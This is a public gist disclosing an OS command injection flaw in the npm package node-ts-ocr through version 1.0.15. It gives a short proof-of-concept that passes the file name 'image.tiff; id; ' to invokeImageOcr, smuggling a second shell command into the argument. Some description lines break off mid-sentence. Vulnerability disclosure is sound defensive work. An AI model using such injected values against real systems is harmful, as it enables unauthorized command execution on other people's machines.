6en6ar / **gist:a2ac44da0f4e580190be3e66cfbb9a4a**

Created 20 hours ago

Code Revisions 1

Public disclosure of security issue in NPM package node-ts-ocr through version 1.0.15

gistfile1.txt

```
Product: https://www.npmjs.com/package/node-ts-ocr
Version: v1.0.15
Vulnerability type: OS Command Injection in node-ts-ocr through version 1.0.15
CVE ID: CVE-2025-63705

Description:

invokeImageOcr function inside src/index.js does not sanitize imagePath variable on line 1
node-ts-ocr ackage provides a wrapper for modifying and manipulating image files. One of t
The imagePath variable is not sanitized and this leads to command injection.

Payload used:

> import { Ocr } from 'node-ts-ocr';
>
>
> export async function runTesseract(fileName) {
>
>         return await Ocr.invokeImageOcr('test_tesseract', fileName);
> }
>
> async function main() {
>   try {
>     var ret = runTesseract('image.tiff; id; ');
>     console.log('Result testing invokeImageOcr -> ', ret);
>   } catch (err) {
>     console.error('error running OCR:', err);
>   }
> }
>
> main();
```